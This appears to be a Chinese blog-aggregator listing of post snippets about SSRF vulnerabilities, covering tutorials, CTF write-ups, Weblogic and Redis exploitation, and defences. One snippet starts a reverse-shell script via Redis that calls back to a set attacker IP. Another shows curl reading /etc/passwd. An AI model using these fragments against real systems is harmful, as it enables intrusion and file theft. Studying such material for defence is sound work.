ssrf

Burp之Collaborator使用技巧

的实践0x01Collaborator的用途在我们进行渗透测试的时候，可能会遇到这种情况，测试xss的时候插入了脚本，无法立即触发，例如提交反馈表单，需要等管理员打开查看提交信息时才会触发，或者是无回显的ssrf
在努力的wulaoban·2020-08-24 16:59

SSRF详细利用方式及getshell

注:本文仅供学习参考本文将分为三个部分讲解0x01ssrf本地远程及其他验证漏洞方式0x02ssrf利用redis未授权getshell0x03ssrf常见的绕过方式0x01ssrf本地及远程验证方式重新复现一下顺便复习一下
在努力的wulaoban·2020-08-24 16:13

【Openresty】Openresty增加waf配置

1.Ngxluawaf说明防止sql注入，本地包含，部分溢出，fuzzing测试，xss,SSRF等web攻击防止svn/备份之类文件泄漏防止ApacheBench之类压力测试工具的攻击屏蔽常见的扫描黑客工具
Carson·2020-08-24 13:47

一道ctf题目 萌新求助。。。

ssrf的防御函数但是好像与原题破解思路有点不同有没有大佬写写writeup或给个思路。tips1：flag.phptips2：常见端口
Fczhk丶·2020-08-24 06:13

SSRF漏洞简介（小白文）

因为近期给实验室想做ctfweb方向的同学做一些交流，所以回头对SSRF漏洞进行了一些总结和归纳，多数还是来自于网上的各种资料，部分为自己的一些理解。
白色爬虫·2020-08-24 06:21

2019CISCN web题赛-JustSoSo;love_math（复现）

0x00前言这几天从网上找个CMS源码开始练习审计，盯着众多的代码debug调呀调头晕脑胀的，还不错找到个文件读取和一个ssrf...上月底结束的CISCN线上赛，web四道，仔细研究的2道，做出了一道
weixin_30466953·2020-08-24 06:43

Some trick in ssrf and trick in unserialize()

也看了一些国外比赛的题解文章，感觉学到很多东西，于是在此总结一下2sometrickinssrf1trick1filter_var()bypass之前看到一篇文章，觉得写得很不错，于是在此总结一下比如说如下代码我们能够进行ssrf
合天智汇·2020-08-24 06:14

Web 服务器安全之 Weblogic 漏洞重现与攻防实战

本场chat介绍Weblogic常见的漏洞，其中包括：弱口令、Java反序列化、XMLdecoder反序列化、SSRF漏洞、任意文件上传，并根据其漏洞，使用Docker+Vulhub进行复现。
技术杂谈哈哈哈·2020-08-24 05:22

Weblogic SSRF漏洞

WeblogicSSRF漏洞环境介绍ssrf_redis_1/usr/local/bin/docker-entrUp6379/tcp...ssrf_weblogic_1startWebLogic.shUp5556
爱玩爱睡爱学习·2020-08-24 01:21

SSRF Tips

SSRFPHPfunction file_get_contents()fsockopen()curl_exec()URLschemasupportSFTP http://0cx.cc/ssrf.php?
Zvall·2020-08-23 22:45

Weblogic ssrf

集训第五周星期一~二一.知识点：1.ssrf：服务端请求伪造，好像有三种利用方式，但是我目前就只会最普通的一种，利用SSRF进行端口探测，也是写这道题需要用的。
沐目_01·2020-08-22 19:56

SSRF：服务端请求伪造

SSRF简介SSRF，Server-SideRequestForgery，服务端请求伪造，是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。
yu4hao4·2020-08-22 19:48

Weblogic服务端请求伪造漏洞（SSRF）和反射型跨站请求伪造漏洞（CSS）修复教程...

攻击者无权访问的URL主要是内网，而对于不是Web服务的其他端口反回的一般是端口对应的服务的banner信息，所以SSRF的一大利用是探测内网端口开放信息。（所以SSRF
weixin_34041003·2020-08-22 19:26

SSRF（服务端请求伪造）

转载于:https://www.cnblogs.com/Vinson404/p/8604297.html
lyuharvey·2020-08-22 19:14

JeeCMS v7 SSRF导致任意文件写入

from先知社区:https://xz.aliyun.com/t/480900X1:是/ueditor/getRemoteImage.jspx接口通过构造upfile参数造成ssrf，该接口的功能是，读取远程服务器上的资源但是未对资源类型进行判断直接将其写入
weixin_30443747·2020-08-22 19:50

BWVS-源码泄漏 Session劫持漏洞 逻辑错误漏洞 SSRF

0x00总结这是BWVS中最后一篇了，内容比较多，有很多和DoraBox很相似，比较推荐刚刚入门的看看关于SQL那几篇-BWVS-SQL注入类型判断-BWVS-SQL联合查询注入-BWVS-SQL报错型注入-BWVS-SQL盲注类型判断最后的一些小项都放在这一篇博客里面了。0x01源码泄漏/bug/Source_code/code1这个其实比较简单，就是做一些信息收集类的东西，打开前端，发现有注释
baynk·2020-08-22 18:55

Pikachu-SSRF

0x00SSRF(Server-SideRequestForgery:服务器端请求伪造)其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求
baynk·2020-08-22 18:55

0531 10-3 ssrf漏洞原理和实验案例演示

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?
qq_42764906·2020-08-22 18:43

SSRF漏洞

SSRF漏洞背景:SSRF(Server-SideRequestForgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
谷枭枭·2020-08-22 18:56

SSRF（服务器端请求伪造）

SSRF（服务器端请求伪造），也称为XSPA（跨站端口攻击）。利用漏洞伪造服务器端发起请求，从而突破客户端获取不到数据限制。一般情况下，攻击者无法绕过waf向内网发送恶意请求，达到攻击目的。
宁紫·2020-08-22 17:41

服务端请求伪造漏洞SSRF

SSRF(Server-SideRequestForgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从公网无法访问的内部系统。
m0c1nu7·2020-08-22 17:55

Some vulnerabilities in JEECMSV9

之前遇到了一个JEECMS大概看了一下,测试版本JEECMSV9.3SSRF/src/main/java/com/jeecms/cms/action/member/UeditorAct.java123456789101112131415161718192021
千与千寻之前1·2020-08-22 16:00

SSRF(服务器端请求伪造漏洞)

SSRF(服务器端请求伪造漏洞)SSRF-漏洞介绍SSRF漏洞：SSRF(Server-SideRequestForgery:服务器端请求伪造)是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞。
broing55·2020-08-22 16:21

SSRF-服务器端请求伪造

漏洞产生：SSRF-服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF是要目标网站的内部系统。
AmyBaby囍·2020-08-22 15:35

远程命令执行与反序列化——Weblogic中间件反序列化漏洞及相关

中间件反序列化漏洞及相关常见漏洞有那些：弱口令、Java反序列化漏洞操作（CVE-2018-2628）、任意文件上传漏洞操作（CVE-2018-2894）、XMLDecoder反序列化漏洞操作（CVE-2017-10271）、SSRF
温柔小薛·2020-08-22 15:34

SSRF服务器端请求伪造漏洞之——攻防实战与防范方法

攻防实战与防范方法目录攻防实战与防范方法bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景任务1：使用远程文件包含进行端口扫描（内网探测）任务2：使用XXE获取敏感文件中的内容（文件读取）任务
温柔小薛·2020-08-22 15:34

SSRF服务器端请求伪造漏洞之——原理及寻找方法

原理及寻找方法目录原理及寻找方法简介SSRF形成原因小结SSRF漏洞出没位置验证方式绕过手法更改IP地址写法SSRF常用的后端实现file_get_contentsfsockopen()curl_exec
温柔小薛·2020-08-22 15:33

CNCF 宣布首个中国原创项目 Harbor 毕业 | 云原生生态周报 Vol. 55

修复kube-controller-managerSSRF相关漏洞公告kube-controller-manager组件中存在SSRF漏洞CVE-2020-8555。通过认证鉴权的攻击者可以通
阿里巴巴云原生·2020-08-22 15:31

SSRF漏洞学习

一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。
weixin_30387663·2020-08-22 15:42

【DoraBox实战】————8、SSRF分析与研究

SSRF简介SSRF(Server-SideRequestForgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
FLy_鹏程万里·2020-08-22 15:11

服务器端请求伪造——SSRF

目录SSRF简介SSRF漏洞发生场景1.分享功能2.转码服务3.在线翻译4.图片加载与下载5.图片、文章收藏功能6.未公开的api实现以及其他调用URL的功能7.云服务厂商8.网站采集，网站抓取的地方9
ihszg·2020-08-22 15:06

ssrf漏洞利用

先是写入任务计划反弹shell的脚本#!/usr/bin/envpython#coding=utf-8importrequestshost='127.0.0.1'port='6379'bhost='133.130.100.69'bport='38'vul_httpurl='http://150.95.128.111/upload/forum.php?mod=ajax&action=downremo
CanMeng·2020-08-22 04:48

SSRF漏洞初识

文章目录一、介绍二、成因三、SSRF漏洞出现的场景PHP相关函数四、ssrf利用五、漏洞判断1.回显2.延时3.DNS请求六、防御一、介绍ssrf(Server-SideRequestForgery:服务器端请求伪造
qq_46274488·2020-08-22 03:27

SSRF绕过IP限制方法总结

SSRF绕过IP限制方法总结-SummaryofSSRFmethodsforbypassingIPrestrictions-https://www.cnblogs.com/iAmSoScArEd/p/11458850
weixin_30575309·2020-08-21 22:15

Redis 4.x RCE 复现学习

攻击场景：能够访问远程redis的端口（直接访问或者SSRF）对redis服务器可以访问到的另一台服务器有控制权实际上就是通过主从特性来同步传输数据，同时利用模块加载来加载恶意的用来进行命令执行的函数，
weixin_30376453·2020-08-21 22:58

SSRF知识点总结

文章目录第一章第一节SSRF概述第二节SSRF危害第二章SSRF常见代码实现第三章SSRF利用第一节访问正常文件第二节端口扫描第三节读取系统本地文件第四节内网Web应用指纹识别第五节攻击内网应用第四章SSRF
水中煮鱼冒气·2020-08-21 02:50

SSRF的一些总结

可以从以下URL关键字中寻找SSRF漏洞：sharewapurllinksrcsourcetargetu3gdisplaysourceURlimageURLdomain...存在过滤的时候可以试试以下姿势
qq_27446553·2020-08-21 01:43

前端安全-XSS、CRSF、SSRF总结

引用作者：美团技术团队前端安全系列之一：如何防止XSS攻击？链接：https://juejin.im/post/5bad9140e51d450e935c6d64前端安全系列之二：如何防止CSRF攻击？链接：https://juejin.im/post/5bc009996fb9a05d0a055192作者：BerL1n链接：https://www.jianshu.com/p/d1d1c40f6d4c
GuoMell·2020-08-20 23:52

谈高效漏洞挖掘之Fuzzing的艺术

不安全的直接对象引用）2.5回显伪造-本地验证2.6逻辑漏洞->【参数fuzz】->未授权2.7逻辑漏洞-越权->js信息接口fuzz三、XXE-Fuzzing四、CSRF-Fuzzing读取型CSRF五、SSRF
bylfsj·2020-08-20 23:57

SSRF漏洞复习总结

SSRF漏洞复习总结渗透测试作者：管理员一.SSRF简介SSRF(Server-SideRequestForgery)，服务器端请求伪造，利用漏洞伪造服务器端发起请求，从而突破客户端获取不到数据限制。
Jack001011·2020-08-20 22:30

SSRF总结

file_get_contents()把文件写入字符串并且可以fsockopen()获取用户制定url的数据（文件或者html）.这个函数会使用socker可以去请求一个网页curl_exec()curl-v“file://etc/passwd”file协议用于读取系统敏感文件dict查看端口服务信息http协议可用于探测内网（结合python脚本）无回显的话可以用到和CSRF中的burp工具有回
CMACCKK·2020-08-20 21:32

安全测试——中间件漏洞

weblogic1.ssrf漏洞能通过http://ip:port/uddiexplorer/SearchPublicRegistries.jsp访问到页面该漏洞由uddiexplorerwar包引起，
终将无路可逃·2020-08-20 21:44

滥用 ESI 详解（上）

我们发现成功的ESI攻击可以导致服务器端请求伪造(SSRF)、各种绕过HTTPOnlycookie缓解标志的跨站脚本向量(XSS)和服务器端分布式拒绝服务攻击。我们称这种技术为ESI注入。
systemino·2020-08-20 21:30

利用dnslog进行无回显注入

它可以帮助安全研究人员在测试漏洞时收集信息（例如SSRF/XXE/RFI/RCE）
原来是老王·2020-08-20 14:50

（SSRF+Redis获得Webshell）&旁站攻击

(1)利用计划任务执行命令反弹shell(2)写ssh-keygen公钥然后使用私钥登陆(3)往web物理路径写webshell保护：限制登录ip，添加密码，修改默认端口二、SSRF漏洞原理、利用方式及修
正能量y先生·2020-08-20 03:50

Acunetix安装

该软件能够针对sql注入、xss、xxxe、ssrf、主机头注入和4500其
Acatt·2020-08-19 16:41

SSRF漏洞利用

前言之前自己搭建ssrf漏洞的时候，只是简单复现。现在突然发现可以继续深入一下，算是对之前的补充吧。
CSeroad·2020-08-19 15:49

《CTF特训营》web部分读书笔记（三）服务端请求伪造（SSRF）

前言继续阅读《CTF特训营》web部分本节是SSRF1、简介很多web应用可以根据用户指定的url从别的服务器是那个获取数据如果没有有效过滤和限制，会被恶意使用成为代理通道实现攻击例子payloadhttp
思源湖的鱼·2020-08-18 23:36

Nowcoder专项练习：网络基础（二）

一般情况下，SSRF攻击的目标是从外网无法访问的内网。（正因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内网）SSRF不但可以用于信息内网探测，还能达到远程命令执行的效果。
WhiteJunior·2020-08-17 23:17

web安全问题分析及处理

web安全问题有哪些XSS-跨站脚本攻击（全称CrossSiteScript）CSRF-跨站伪造请求（CrossSiteRequestForgery）SSRF-服务器伪造请求（Server-SideRequestForgery
weixin_34177064·2020-08-17 16:13
上一页 9 10 11 12 13 14 15 16 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他